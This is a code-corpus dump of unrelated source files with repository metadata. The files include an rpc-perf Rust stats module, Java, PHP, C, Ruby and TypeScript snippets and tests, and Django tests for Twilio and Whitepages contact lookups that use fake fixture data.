updated.Contains(c.ExternalUrlId))) { ChildCareStub dbStub = idToDbStub[webStub.ExternalUrlId]; dbStub.Address = webStub.Address; dbStub.City = webStub.City; dbStub.Name = webStub.Name; } _logger.LogInformation("{count} stubs will be updated.", updated.Count); _logger.LogInformation("Saving changes."); await ctx.SaveChangesAsync(); } } }
40.475936
149
0.547761
727dcf59091c1da79dc0be3780f0e307fd4b488b
7,491
rs
Rust
src/stats.rs
jacktuck/rpc-perf
f6d180106595795c6335f780881da0e27bfe56bb
[ "Apache-2.0" ]
null
null
null
src/stats.rs
jacktuck/rpc-perf
f6d180106595795c6335f780881da0e27bfe56bb
[ "Apache-2.0" ]
null
null
null
src/stats.rs
jacktuck/rpc-perf
f6d180106595795c6335f780881da0e27bfe56bb
[ "Apache-2.0" ]
null
null
null
// rpc-perf - RPC Performance Testing // Copyright 2015 Twitter, Inc // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. use common::*; use request::BenchmarkConfig; use tic::{Interest, Meters, Percentile, Receiver}; pub fn stats_receiver_init( config: &BenchmarkConfig, listen: Option<String>, waterfall: Option<String>, trace: Option<String>, ) -> Receiver<Stat> { let mut stats_config = Receiver::<Stat>::configure() .batch_size(1024) .capacity(4096) .duration(config.duration()) .windows(config.windows()); if let Some(addr) = listen { stats_config = stats_config.http_listen(addr); } let mut stats_receiver = stats_config.build(); let counts = vec![ Stat::Window, Stat::ResponseOk, Stat::ResponseOkHit, Stat::ResponseOkMiss, Stat::ResponseError, Stat::ResponseTimeout, Stat::RequestPrepared, Stat::RequestSent, Stat::ConnectOk, Stat::ConnectError, Stat::ConnectTimeout, Stat::SocketCreate, Stat::SocketClose, Stat::SocketRead, Stat::SocketFlush, Stat::SocketWrite, ]; for c in counts { stats_receiver.add_interest(Interest::Count(c)); } for c in vec![ Stat::ResponseOk, Stat::ResponseOkHit, Stat::ResponseOkMiss, Stat::ConnectOk, ] { stats_receiver.add_interest(Interest::Percentile(c)); } if let Some(w) = waterfall { stats_receiver.add_interest(Interest::Waterfall(Stat::ResponseOk, w)); } if let Some(t) = trace { stats_receiver.add_interest(Interest::Trace(Stat::ResponseOk, t)); } stats_receiver } pub fn meters_delta(t0: &Meters<Stat>, t1: &Meters<Stat>, stat: &Stat) -> u64 { *t1.count(stat).unwrap_or(&0) - *t0.count(stat).unwrap_or(&0) } pub fn run(mut receiver: Receiver<Stat>, windows: usize, infinite: bool) { let mut window = 0; let mut warmup = true; let mut next_window = window + windows; let clocksource = receiver.get_clocksource().clone(); let mut sender = receiver.get_sender().clone(); sender.set_batch_size(1); let mut t0 = clocksource.counter(); let mut m0 = receiver.clone_meters(); debug!("stats: collection ready"); loop { receiver.run_once(); let t1 = clocksource.counter(); let m1 = receiver.clone_meters(); if warmup { info!("-----"); info!("Warmup complete"); warmup = false; } else { let responses = meters_delta(&m0, &m1, &Stat::ResponseOk) + meters_delta(&m0, &m1, &Stat::ResponseError); let rate = responses as f64 / ((clocksource.convert(t1) - clocksource.convert(t0)) as f64 / 1_000_000_000.0); let success_rate = if responses > 0 { 100.0 * (responses - meters_delta(&m0, &m1, &Stat::ResponseError)) as f64 / (responses + meters_delta(&m0, &m1, &Stat::ResponseTimeout)) as f64 } else { 0.0 }; let hit = meters_delta(&m0, &m1, &Stat::ResponseOkHit); let miss = meters_delta(&m0, &m1, &Stat::ResponseOkMiss); let hit_rate = if (hit + miss) > 0 { 100.0 * hit as f64 / (hit + miss) as f64 } else { 0.0 }; info!("-----"); info!("Window: {}", window); let inflight = *m1.count(&Stat::RequestSent).unwrap_or(&0) as i64 - *m1.count(&Stat::ResponseOk).unwrap_or(&0) as i64 - *m1.count(&Stat::ResponseError).unwrap_or(&0) as i64 - *m1.count(&Stat::ResponseTimeout).unwrap_or(&0) as i64; let open = *m1.count(&Stat::SocketCreate).unwrap_or(&0) as i64 - *m1.count(&Stat::SocketClose).unwrap_or(&0) as i64; info!( "Connections: Ok: {} Error: {} Timeout: {} Open: {}", meters_delta(&m0, &m1, &Stat::ConnectOk), meters_delta(&m0, &m1, &Stat::ConnectError), meters_delta(&m0, &m1, &Stat::ConnectTimeout), open ); info!( "Sockets: Create: {} Close: {} Read: {} Write: {} Flush: {}", meters_delta(&m0, &m1, &Stat::SocketCreate), meters_delta(&m0, &m1, &Stat::SocketClose), meters_delta(&m0, &m1, &Stat::SocketRead), meters_delta(&m0, &m1, &Stat::SocketWrite), meters_delta(&m0, &m1, &Stat::SocketFlush) ); info!( "Requests: Sent: {} Prepared: {} In-Flight: {}", meters_delta(&m0, &m1, &Stat::RequestSent), meters_delta(&m0, &m1, &Stat::RequestPrepared), inflight ); info!( "Responses: Ok: {} Error: {} Timeout: {} Hit: {} Miss: {}", meters_delta(&m0, &m1, &Stat::ResponseOk), meters_delta(&m0, &m1, &Stat::ResponseError), meters_delta(&m0, &m1, &Stat::ResponseTimeout), meters_delta(&m0, &m1, &Stat::ResponseOkHit), meters_delta(&m0, &m1, &Stat::ResponseOkMiss) ); info!( "Rate: {:.*} rps Success: {:.*} % Hit Rate: {:.*} %", 2, rate, 2, success_rate, 2, hit_rate ); display_percentiles(&m1, &Stat::ResponseOk, "Response OK"); } m0 = m1; t0 = t1; window += 1; if window > next_window { receiver.save_files(); if infinite { next_window += windows; receiver.clear_heatmaps(); } else { break; } } } } fn display_percentiles(meters: &Meters<Stat>, stat: &Stat, label: &str) { info!( "Percentiles: {} (us): min: {} p50: {} p90: {} p99: {} p999: {} p9999: {} max: {}", label, meters .percentile(stat, Percentile("min".to_owned(), 0.0)) .unwrap_or(&0) / 1000, meters .percentile(stat, Percentile("p50".to_owned(), 50.0)) .unwrap_or(&0) / 1000, meters .percentile(stat, Percentile("p90".to_owned(), 90.0)) .unwrap_or(&0) / 1000, meters .percentile(stat, Percentile("p99".to_owned(), 99.0)) .unwrap_or(&0) / 1000, meters .percentile(stat, Percentile("p999".to_owned(), 99.9)) .unwrap_or(&0) / 1000, meters .percentile(stat, Percentile("p9999".to_owned(), 99.99)) .unwrap_or(&0) / 1000, meters .percentile(stat, Percentile("max".to_owned(), 100.0)) .unwrap_or(&0) / 1000, ); }
33.441964
97
0.53037
dd8b6c7e9a85bb59dfbd116d6a18dff0b021046f
510
java
Java
tests/src/cgeo/geocaching/StoredListTest.java
BudBundi/cgeo
4793dc9e7842bb28483a58f74240d74816ad5d08
[ "Apache-2.0" ]
1
2021-09-02T22:39:54.000Z
2021-09-02T22:39:54.000Z
tests/src/cgeo/geocaching/StoredListTest.java
BudBundi/cgeo
4793dc9e7842bb28483a58f74240d74816ad5d08
[ "Apache-2.0" ]
null
null
null
tests/src/cgeo/geocaching/StoredListTest.java
BudBundi/cgeo
4793dc9e7842bb28483a58f74240d74816ad5d08
[ "Apache-2.0" ]
null
null
null
package cgeo.geocaching; import junit.framework.TestCase; public class StoredListTest extends TestCase { public static void testStandardListExists() { final StoredList list = cgData.getList(StoredList.STANDARD_LIST_ID); assertNotNull(list); } public static void testEquals() { final StoredList list1 = cgData.getList(StoredList.STANDARD_LIST_ID); final StoredList list2 = cgData.getList(StoredList.STANDARD_LIST_ID); assertEquals(list1, list2); } }
26.842105
77
0.721569
3f692bf0f270c3ee478061cccaa5e93e02a87525
882
php
PHP
resources/views/layouts/master.blade.php
GordanaP/LaraNews
026ce3bc6ec22ae7c1c99d1b986b31091090e8d9
[ "MIT" ]
null
null
null
resources/views/layouts/master.blade.php
GordanaP/LaraNews
026ce3bc6ec22ae7c1c99d1b986b31091090e8d9
[ "MIT" ]
null
null
null
resources/views/layouts/master.blade.php
GordanaP/LaraNews
026ce3bc6ec22ae7c1c99d1b986b31091090e8d9
[ "MIT" ]
null
null
null
<!DOCTYPE html> <html lang="{{ config('app.locale') }}"> <head> @include('partials._head') </head> <body> <div id="app"> <!-- Navbar --> <section class="container navbar__container"> @include('partials._nav') </section> <!-- Main content --> <section class="container main__container"> @yield('messages') <div class="row"> <main class="col-md-12"> @yield('content') </main> </div> </section> <!-- Footer --> <section class="container footer__container"> @include('partials._footer') </section> </div> <!-- Scripts --> @include('partials._scripts') </body> </html>
22.05
57
0.420635
a4300c1ab0133bd34a61b0f1899d4ec70b684d4d
1,293
php
PHP
View/Helper/PikachooseHelper.php
CVO-Technologies/croogo-gallery
0a18c3c01ba75eb6dc264f33c3ebf3c862328807
[ "MIT" ]
null
null
null
View/Helper/PikachooseHelper.php
CVO-Technologies/croogo-gallery
0a18c3c01ba75eb6dc264f33c3ebf3c862328807
[ "MIT" ]
null
null
null
View/Helper/PikachooseHelper.php
CVO-Technologies/croogo-gallery
0a18c3c01ba75eb6dc264f33c3ebf3c862328807
[ "MIT" ]
null
null
null
<?php App::uses('AppHelper', 'View/Helper'); class PikachooseHelper extends AppHelper { public $helpers = array( 'Html', 'Js', 'Gallery.Gallery', ); public function assets($options = array()) { $options = Set::merge(array('inline' => false, 'once' => true), $options); echo $this->Html->script('/gallery/js/jquery.pikachoose.full', $options); echo $this->Html->css('/gallery/css/pikachoose', false, $options); } public function album($album, $photos) { $ulTag = $this->Html->tag('ul', $photos, array( 'id' => 'gallery-' . $album['Album']['id'], )); return $this->Html->tag('div', $ulTag, array('class' => 'pikachoose')); } public function photo($album, $photo) { $urlLarge = $this->Html->url('/' . $photo['large']); $urlSmall = $this->Html->url('/' . $photo['small']); $title = empty($photo['title']) ? false : $photo['title']; $options = array('rel' => $urlSmall); if ($title) { $options = Set::merge(array('title' => $title), $options); } return $this->Html->tag('li', $this->Html->image($urlLarge, $options)); } public function initialize($album) { $config = $this->Gallery->getAlbumJsParams($album); $js = sprintf('$(\'#%s\').PikaChoose(%s);', 'gallery-' . $album['Album']['id'], $config ); $this->Js->buffer($js); } }
27.510638
76
0.596288
f1bfdf2ed222e60b3e7d94dbb2ddb845fc3050bb
2,181
h
C
pl/math/test/ulp_wrappers.h
forksnd/optimized-routines
ea4649a6ea3b79033755217613bd8ab4791c1dea
[ "MIT" ]
null
null
null
pl/math/test/ulp_wrappers.h
forksnd/optimized-routines
ea4649a6ea3b79033755217613bd8ab4791c1dea
[ "MIT" ]
null
null
null
pl/math/test/ulp_wrappers.h
forksnd/optimized-routines
ea4649a6ea3b79033755217613bd8ab4791c1dea
[ "MIT" ]
null
null
null
// clang-format off /* * Function wrappers for ulp. * * Copyright (c) 2022, Arm Limited. * SPDX-License-Identifier: MIT OR Apache-2.0 WITH LLVM-exception */ #if USE_MPFR static int sincos_mpfr_sin(mpfr_t y, const mpfr_t x, mpfr_rnd_t r) { mpfr_cos(y,x,r); return mpfr_sin(y,x,r); } static int sincos_mpfr_cos(mpfr_t y, const mpfr_t x, mpfr_rnd_t r) { mpfr_sin(y,x,r); return mpfr_cos(y,x,r); } #endif /* Wrappers for vector functions. */ #if __aarch64__ && WANT_VMATH static float v_erff(float x) { return __v_erff(argf(x))[0]; } static float v_erfcf(float x) { return __v_erfcf(argf(x))[0]; } static float v_log10f(float x) { return __v_log10f(argf(x))[0]; } static double v_atan(double x) { return __v_atan(argd(x))[0]; } static double v_atan2(double x, double y) { return __v_atan2(argd(x), argd(y))[0]; } static double v_erf(double x) { return __v_erf(argd(x))[0]; } static double v_erfc(double x) { return __v_erfc(argd(x))[0]; } static double v_log10(double x) { return __v_log10(argd(x))[0]; } #ifdef __vpcs static float vn_erff(float x) { return __vn_erff(argf(x))[0]; } static float vn_erfcf(float x) { return __vn_erfcf(argf(x))[0]; } static float vn_log10f(float x) { return __vn_log10f(argf(x))[0]; } static double vn_atan(double x) { return __vn_atan(argd(x))[0]; } static double vn_atan2(double x, double y) { return __vn_atan2(argd(x), argd(y))[0]; } static double vn_erf(double x) { return __vn_erf(argd(x))[0]; } static double vn_erfc(double x) { return __vn_erfc(argd(x))[0]; } static double vn_log10(double x) { return __vn_log10(argd(x))[0]; } static float Z_erff(float x) { return _ZGVnN4v_erff(argf(x))[0]; } static float Z_erfcf(float x) { return _ZGVnN4v_erfcf(argf(x))[0]; } static float Z_log10f(float x) { return _ZGVnN4v_log10f(argf(x))[0]; } static double Z_atan(double x) { return _ZGVnN2v_atan(argd(x))[0]; } static double Z_atan2(double x, double y) { return _ZGVnN2vv_atan2(argd(x), argd(y))[0]; } static double Z_erf(double x) { return _ZGVnN2v_erf(argd(x))[0]; } static double Z_erfc(double x) { return _ZGVnN2v_erfc(argd(x))[0]; } static double Z_log10(double x) { return _ZGVnN2v_log10(argd(x))[0]; } #endif #endif // clang-format on
47.413043
111
0.7116
3945a91788ef2408e83f83ea862f792a79c03167
22,585
py
Python
garfield/contacts/tests/test_tasks.py
RobSpectre/garfield
ab806b7ad9221bd1b17c92daadd0a53a4f261cbe
[ "MIT" ]
3
2017-10-15T20:55:00.000Z
2018-04-25T21:30:57.000Z
garfield/contacts/tests/test_tasks.py
RobSpectre/garfield
ab806b7ad9221bd1b17c92daadd0a53a4f261cbe
[ "MIT" ]
12
2018-07-15T20:42:01.000Z
2021-06-10T17:39:46.000Z
garfield/contacts/tests/test_tasks.py
RobSpectre/garfield
ab806b7ad9221bd1b17c92daadd0a53a4f261cbe
[ "MIT" ]
1
2018-06-30T02:51:31.000Z
2018-06-30T02:51:31.000Z
import json from django.test import TestCase from django.test import override_settings from django.core.exceptions import ObjectDoesNotExist from mock import patch from mock import Mock from mock import MagicMock from phone_numbers.models import PhoneNumber from sims.models import Sim from sms.models import SmsMessage from contacts.models import Contact import contacts.tasks class TaskLookupContactContactDoesNotExistTestCase(TestCase): @patch('deterrence.tasks.check_campaign_for_contact.apply_async') def setUp(self, mock_check_campaign): self.sim = Sim.objects.create(friendly_name="TestSim", sid="DExxx", iccid="asdf", status="active", rate_plan="RExxx") self.phone_number = PhoneNumber.objects.create(sid="PNxxx", account_sid="ACxxx", service_sid="SExxx", url="http://exmple.com", e164="+15558675309", formatted="(555) " "867-5309", friendly_name="Stuff.", country_code="1", related_sim=self.sim) self.message = {"From": "+15556667777", "To": "+15558675309", "Body": "Test."} def test_lookup_contact_contact_does_not_exist(self): with self.assertRaises(ObjectDoesNotExist): contacts.tasks.lookup_contact("+15556667777") class TaskLookupContactTestCase(TestCase): @patch('deterrence.tasks.check_campaign_for_contact.apply_async') @patch('contacts.tasks.lookup_contact.apply_async') def setUp(self, mock_lookup, mock_check_campaign): self.sim = Sim.objects.create(friendly_name="TestSim", sid="DExxx", iccid="asdf", status="active", rate_plan="RExxx") self.phone_number = PhoneNumber.objects.create(sid="PNxxx", account_sid="ACxxx", service_sid="SExxx", url="http://exmple.com", e164="+15558675309", formatted="(555) " "867-5309", friendly_name="Stuff.", country_code="1", related_sim=self.sim) self.contact = Contact.objects.create(phone_number="+15556667777") self.message = {"From": "+15556667777", "To": "+15558675309", "Body": "Test."} @override_settings(CELERY_ALWAYS_EAGER=True) @patch('contacts.tasks.lookup_contact_whitepages.apply_async') def test_lookup_contact(self, mock_lookup_contact_whitepages): mock_lookup_contact_whitepages.return_value = True contacts.tasks.lookup_contact(self.message["From"]) self.assertTrue(mock_lookup_contact_whitepages.called) self.assertTrue((self.contact.id,), mock_lookup_contact_whitepages.call_args[0]) class TaskLookupContactWhitepagesTestCase(TestCase): @patch('deterrence.tasks.check_campaign_for_contact.apply_async') @patch('contacts.tasks.lookup_contact.apply_async') def setUp(self, mock_lookup, mock_check_campaign): self.contact = Contact.objects.create(phone_number="+15556667777") self.message = {"From": "+15556667777", "To": "+15558675309", "Body": "Test."} self.sim = Sim.objects.create(friendly_name="TestSim", sid="DExxx", iccid="asdf", status="active", rate_plan="RExxx") self.phone_number = PhoneNumber.objects.create(sid="PNxxx", account_sid="ACxxx", service_sid="SExxx", url="http://exmple.com", e164="+15558675309", formatted="(555) " "867-5309", friendly_name="Stuff.", country_code="1", related_sim=self.sim) self.contact.related_phone_numbers.add(self.phone_number) self.add_ons_person = '{"whitepages_pro_caller_id": {"status": "' \ 'successful", "request_sid": "asdf", "mess' \ 'age": null, "code": null, "result": {"pho' \ 'ne_number": "+15558675309", "warnings": [' \ '], "historical_addresses": [], "alternate' \ '_phones": [], "error": null, "is_commerci' \ 'al": false, "associated_people": [{"name"' \ ': "Jack Doe", "firstname": "JohJackn", "m' \ 'iddlename": "Q", "lastname": "Doe", "rela' \ 'tion": "Household", "id": "Person.asdf"},' \ '{"name": "Jane Doe", "firstname": "Jane",' \ '"middlename": "", "lastname": "Doe", "rel' \ 'ation": "Household", "id": "Person.qwer"}' \ '], "country_calling_code": "1", "belongs_' \ 'to": {"age_range": {"to": 67, "from": 60}' \ ', "name": "Mr. John Doe", "firstname": "J' \ 'ohn", "middlename": "Q", "lastname": "Doe' \ '", "industry": null, "alternate_names": [' \ '], "gender": "Male", "link_to_phone_start' \ '_date": "2018-04-06", "type": "Person", "' \ 'id": "Person.zxcv"}, "is_valid": true, "l' \ 'ine_type": "Mobile", "carrier": "childsaf' \ 'e.ai", "current_addresses": [{"city": "Ne' \ 'w York", "lat_long": {"latitude": 40.328487,' \ '"longitude": -73.9855, "accuracy": "RoofT' \ 'op"}, "is_active": true, "location_type":' \ '"Address", "street_line_2": null, "link_t' \ 'o_person_start_date": "2019-03-01", "stre' \ 'et_line_1": "123 Johnny Street", "postal_cod' \ 'e": "10036", "delivery_point": "MultiUnit' \ '", "country_code": "US", "state_code": "N' \ 'Y", "id": "Location.asdf", "zip4": "0000"' \ '}], "id": "Phone.lkj", "is_prepaid": null' \ '}}}' self.add_ons_business = '{"whitepages_pro_caller_id": {"status": "' \ 'successful", "request_sid": "asdf", "mess' \ 'age": null, "code": null, "result": {"pho' \ 'ne_number": "+18888675309", "warnings": [' \ '], "historical_addresses": [], "alternate' \ '_phones": [], "error": null, "is_commerci' \ 'al": true, "associated_people": [], "coun' \ 'try_calling_code": "1", "belongs_to": {"a' \ 'ge_range": null, "name": "The John Store"' \ ', "firstname": null, "middlename": null, ' \ '"lastname": null, "industry": null, "alte' \ 'rnate_names": [], "gender": null, "link_t' \ 'o_phone_start_date": null, "type": "Busin' \ 'ess", "id": "Business.asdf"}, "is_valid":' \ 'true, "line_type": "TollFree", "carrier":' \ '"Test.", "current_addresses": [{"city": "' \ 'New York", "lat_long": {"latitude": 40.32' \ '8487, "longitude": -73.9855, "accuracy": ' \ '"Rooftop"}, "is_active": null, "location_' \ 'type": "Address", "street_line_2": null, ' \ '"link_to_person_start_date": null, "stree' \ 't_line_1": "123 Johnny Street", "postal_c' \ 'ode": null, "delivery_point": null, "coun' \ 'try_code": "US", "state_code": null, "id"' \ ': "Location.asdf", "zip4": null}], "id": ' \ '"Phone.asdf", "is_prepaid": null}}}' self.add_ons_voip = '{"whitepages_pro_caller_id": {"status": "' \ 'successful", "request_sid": "asdf", "mess' \ 'age": null, "code": null, "result": {"pho' \ 'ne_number": "+15558675309", "warnings": [' \ '], "historical_addresses": [], "alternate' \ '_phones": [], "error": null, "is_commerci' \ 'al": false, "associated_people": [], "cou' \ 'ntry_calling_code": "1", "belongs_to": {"' \ 'age_range": null, "name": "John Doe", "fi' \ 'rstname": null, "middlename": null, "la' \ 'stname": "Doe", "industry": null, "altern' \ 'ate_names": [], "gender": null, "link_to_' \ 'phone_start_date": null, "type": "Person"' \ ', "id": "Person.asdf"}, "is_valid": true,' \ ' "line_type": "NonFixedVOIP", "carrier": ' \ '"Test.", "current_addresses": [{"city": "' \ 'New York", "lat_long": {"latitude": 40.32' \ '8487, "longitude": -73.9672, "accuracy": ' \ '"PostalCode"}, "is_active": null, "locati' \ 'on_type": "PostalCode", "street_line_2": ' \ 'null, "link_to_person_start_date": null, ' \ '"street_line_1": null, "postal_code": "10' \ '025", "delivery_point": null, "country_co' \ 'de": "US", "state_code": "NY", "id": "Loc' \ 'ation.asdf", "zip4": null}], "id": "Phone' \ '.asdf", "is_prepaid": null}}}' @patch('contacts.tasks.send_notification_whitepages.apply_async') @patch('contacts.tasks.apply_lookup_whitepages_to_contact') @patch('contacts.tasks.lookup_phone_number') def test_lookup_contact_whitepages(self, mock_lookup, mock_apply, mock_notification): mock_return = Mock() mock_return.add_ons = MagicMock() mock_return.add_ons.__getitem__.return_value = "successful" mock_lookup.return_value = mock_return mock_apply.return_value = self.contact contacts.tasks.lookup_contact_whitepages(self.contact.id) self.assertTrue(mock_lookup.called) self.assertTrue(mock_apply.called) self.assertTrue(mock_notification.called) @patch('contacts.tasks.send_notification_whitepages.apply_async') @patch('contacts.tasks.apply_lookup_whitepages_to_contact') @patch('contacts.tasks.lookup_phone_number') def test_lookup_contact_whitepages_failure(self, mock_lookup, mock_apply, mock_notification): mock_return = Mock() mock_return.add_ons = MagicMock() mock_return.add_ons.__getitem__.return_value = "failed" mock_lookup.return_value = mock_return mock_apply.return_value = self.contact contacts.tasks.lookup_contact_whitepages(self.contact.id) self.assertTrue(mock_lookup.called) self.assertFalse(mock_apply.called) self.assertFalse(mock_notification.called) @patch('contacts.tasks.send_whisper.apply_async') def test_notification_whitepages(self, mock_whisper): self.contact.whitepages_first_name = "Contact" self.contact.whitepages_middle_name = "F." self.contact.whitepages_last_name = "Doe" self.contact.whitepages_address = "123 Paper Street" self.contact.whitepages_address_two = "Apt. A" self.contact.whitepages_city = "Contactstown" self.contact.whitepages_state = "VA" self.contact.whitepages_zip_code = "55555" self.contact.carrier = "AT&T" self.contact.phone_number_type = "mobile" self.contact.save() body = contacts.tasks.send_notification_whitepages(self.contact.id, "+15558675309") self.assertTrue(mock_whisper.called) self.assertIn("Whitepages Identity Results", body['results'][0]) self.assertIn("Contact F. Doe", body['results'][0]) self.assertIn("123 Paper Street", body['results'][1]) self.assertIn("AT&T", body['results'][0]) def test_apply_lookup_whitepages_to_contact_person(self): payload = json.loads(self.add_ons_person) mock_lookup = Mock() mock_lookup.add_ons = MagicMock() mock_lookup.add_ons.__getitem__.return_value = payload mock_lookup.carrier = MagicMock() mock_lookup.carrier.__getitem__.return_value = "Test." mock_lookup.national_format.return_value = "(555) 666-7777" test = contacts.tasks.apply_lookup_whitepages_to_contact(self.contact, mock_lookup) self.assertTrue(test.identified) self.assertEqual(test.whitepages_first_name, "John") self.assertEqual(test.whitepages_last_name, "Doe") self.assertEqual(test.whitepages_address, "123 Johnny Street") self.assertEqual(test.whitepages_latitude, 40.328487) self.assertEqual(test.carrier, "Test.") def test_apply_lookup_whitepages_to_contact_person_no_address(self): payload = json.loads(self.add_ons_person) payload['whitepages_pro_caller_id' ]['result']['current_addresses'] = [] mock_lookup = Mock() mock_lookup.add_ons = MagicMock() mock_lookup.add_ons.__getitem__.return_value = payload mock_lookup.carrier = MagicMock() mock_lookup.carrier.__getitem__.return_value = "Test." mock_lookup.national_format.return_value = "(555) 666-7777" test = contacts.tasks.apply_lookup_whitepages_to_contact(self.contact, mock_lookup) self.assertTrue(test.identified) self.assertEqual(test.whitepages_first_name, "John") self.assertEqual(test.whitepages_last_name, "Doe") self.assertEqual(test.whitepages_entity_type, "Person") self.assertFalse(test.whitepages_address) self.assertFalse(test.whitepages_latitude) self.assertEqual(test.carrier, "Test.") def test_apply_lookup_whitepages_to_contact_person_no_belongs(self): payload = json.loads(self.add_ons_person) payload['whitepages_pro_caller_id' ]['result']['belongs_to'] = [] mock_lookup = Mock() mock_lookup.add_ons = MagicMock() mock_lookup.add_ons.__getitem__.return_value = payload mock_lookup.carrier = MagicMock() mock_lookup.carrier.__getitem__.return_value = "Test." mock_lookup.national_format.return_value = "(555) 666-7777" test = contacts.tasks.apply_lookup_whitepages_to_contact(self.contact, mock_lookup) self.assertTrue(test.identified) self.assertFalse(test.whitepages_first_name) self.assertFalse(test.whitepages_last_name) self.assertEqual(test.carrier, "Test.") def test_apply_lookup_whitepages_to_contact_business(self): payload = json.loads(self.add_ons_business) mock_lookup = Mock() mock_lookup.add_ons = MagicMock() mock_lookup.add_ons.__getitem__.return_value = payload mock_lookup.carrier = MagicMock() mock_lookup.carrier.__getitem__.return_value = "Test." mock_lookup.national_format.return_value = "(555) 666-7777" test = contacts.tasks.apply_lookup_whitepages_to_contact(self.contact, mock_lookup) self.assertTrue(test.identified) self.assertEqual(test.whitepages_entity_type, "Business") self.assertEqual(test.whitepages_business_name, "The John Store") self.assertEqual(test.whitepages_address, "123 Johnny Street") self.assertEqual(test.whitepages_latitude, 40.328487) self.assertEqual(test.carrier, "Test.") def test_apply_lookup_whitepages_to_contact_voip(self): payload = json.loads(self.add_ons_voip) mock_lookup = Mock() mock_lookup.add_ons = MagicMock() mock_lookup.add_ons.__getitem__.return_value = payload mock_lookup.carrier = MagicMock() mock_lookup.carrier.__getitem__.return_value = "Test." mock_lookup.national_format.return_value = "(555) 666-7777" test = contacts.tasks.apply_lookup_whitepages_to_contact(self.contact, mock_lookup) self.assertTrue(test.identified) self.assertFalse(test.whitepages_first_name) self.assertFalse(test.whitepages_address) self.assertEqual(test.whitepages_latitude, 40.328487) self.assertEqual(test.carrier, "Test.") self.assertEqual(test.whitepages_phone_type, "NonFixedVOIP") self.assertEqual(test.phone_number_type, "Test.") class TaskContactsWhisperTestCase(TestCase): @patch('deterrence.tasks.check_campaign_for_contact.apply_async') @patch('contacts.tasks.lookup_contact.apply_async') def setUp(self, mock_lookup, mock_check_campaign): self.sim = Sim.objects.create(friendly_name="TestSim", sid="DExxx", iccid="asdf", status="active", rate_plan="RExxx") self.phone_number = PhoneNumber.objects.create(sid="PNxxx", account_sid="ACxxx", service_sid="SExxx", url="http://exmple.com", e164="+15558675309", formatted="(555) " "867-5309", friendly_name="Stuff.", country_code="1", related_sim=self.sim) self.contact = Contact.objects.create(phone_number="+15556667777") self.sms_message = SmsMessage \ .objects.create(sid="MMxxxx", from_number="+15556667777", to_number="+15558675309", body="Test.", related_phone_number=self.phone_number) @override_settings(TWILIO_ACCOUNT_SID='ACxxxx', TWILIO_AUTH_TOKEN='yyyyyyy', TWILIO_PHONE_NUMBER='+15558675309') @patch('twilio.rest.api.v2010.account.message.MessageList.create') def test_send_whisper(self, mock_messages_create): test_json = json.dumps({"From": "+15556667777", "To": "+1555867309", "Body": "Test."}) contacts.tasks.send_whisper(from_="+15556667777", to="+15558675309", body="Test.") mock_messages_create.called_with(from_="+15556667777", to="+15558675309", body="whisper:{0}".format(test_json)) @override_settings(TWILIO_ACCOUNT_SID='ACxxxx', TWILIO_AUTH_TOKEN='yyyyyyy') class TaskUtilitiesTestCase(TestCase): @patch('twilio.rest.lookups.v1.phone_number.PhoneNumberContext') def test_lookup_phone_number(self, mock_context): contacts.tasks.lookup_phone_number("+15556667777") self.assertTrue(mock_context.called)
50.525727
79
0.486518
ccce4bbc6af1be0a5f6552e9a554ff7a22c6f1a7
601
rb
Ruby
lib/stitches/spec/be_gone.rb
jamescook/stitches
e26d45ef810604822764d3f04df4921fcb3c6c43
[ "MIT" ]
508
2015-06-05T16:08:12.000Z
2022-03-25T22:39:38.000Z
lib/stitches/spec/be_gone.rb
jamescook/stitches
e26d45ef810604822764d3f04df4921fcb3c6c43
[ "MIT" ]
64
2015-06-04T13:41:30.000Z
2021-10-01T16:00:29.000Z
lib/stitches/spec/be_gone.rb
jamescook/stitches
e26d45ef810604822764d3f04df4921fcb3c6c43
[ "MIT" ]
31
2015-06-06T22:03:51.000Z
2022-03-25T05:42:32.000Z
# Use this to test that an HTTP response is properly "410/Gone" # # The object you expect on is generally `self`, because this is the object on which # rspec_api_documentation allows you to call `status` # # get "/api/widgets" do # it "has been removed" do # expect(self).to be_gone # end # end RSpec::Matchers.define :be_gone do match do |rspec_api_documentation_context| rspec_api_documentation_context.status == 410 end failure_message do |rspec_api_documentation_context| "Expected HTTP status to be 410/Gone, but it was #{rspec_api_documentation_context.status}" end end
30.05
95
0.750416
8310ce4a80cd0c2abc84da8f2fd77e5c3348b871
1,059
ts
TypeScript
test/pause.spec.ts
kanziw/repeating-task-manager
13225a1228494075911fa5c68160c2e8c9b92256
[ "MIT" ]
null
null
null
test/pause.spec.ts
kanziw/repeating-task-manager
13225a1228494075911fa5c68160c2e8c9b92256
[ "MIT" ]
null
null
null
test/pause.spec.ts
kanziw/repeating-task-manager
13225a1228494075911fa5c68160c2e8c9b92256
[ "MIT" ]
null
null
null
import RepeatingTaskManager from '../' import { expect } from 'chai' import { delay, onError } from './common' describe('[ Pause ]', function () { let rtm: RepeatingTaskManager let ret: string[] = [] const task1 = 'TASK1' const task2 = 'TASK2' beforeEach(() => { rtm = new RepeatingTaskManager() ret = [] rtm.register(task1, 10, () => { ret.push(task1) }, { onError }) rtm.register(task2, 10, () => { ret.push(task2) }, { onError }) }) afterEach(() => rtm.clearAll()) it(`"Pause" pause all tasks /wo params.`, async () => { rtm.pause() const beforeCompletedTasksCount = ret.length await delay(100) expect(ret.length).eql(beforeCompletedTasksCount) }) it(`"Pause" pause it's task /w taskId.`, async () => { rtm.pause(task1) const beforeCompletedTasksCount = ret.length await delay(100) const expectEveryKeysAreTask2 = ret.slice(beforeCompletedTasksCount) expect(expectEveryKeysAreTask2.length).above(5) expect(expectEveryKeysAreTask2.every(s => s === task2)).eql(true) }) })
27.868421
72
0.644004
a4061cb26b497b5c1e61b26a0de536f38789d300
24,523
swift
Swift
AFoundationUnitTesting/Json/JsonArrayUnitTesting.swift
ihormyroniuk/AFoundation
2e50d3f70e89887b0b54fc342f53b783853ef6f8
[ "MIT" ]
3
2020-02-22T16:34:56.000Z
2020-10-14T19:57:27.000Z
AFoundationUnitTesting/Json/JsonArrayUnitTesting.swift
ihormyroniuk/AFoundation
2e50d3f70e89887b0b54fc342f53b783853ef6f8
[ "MIT" ]
null
null
null
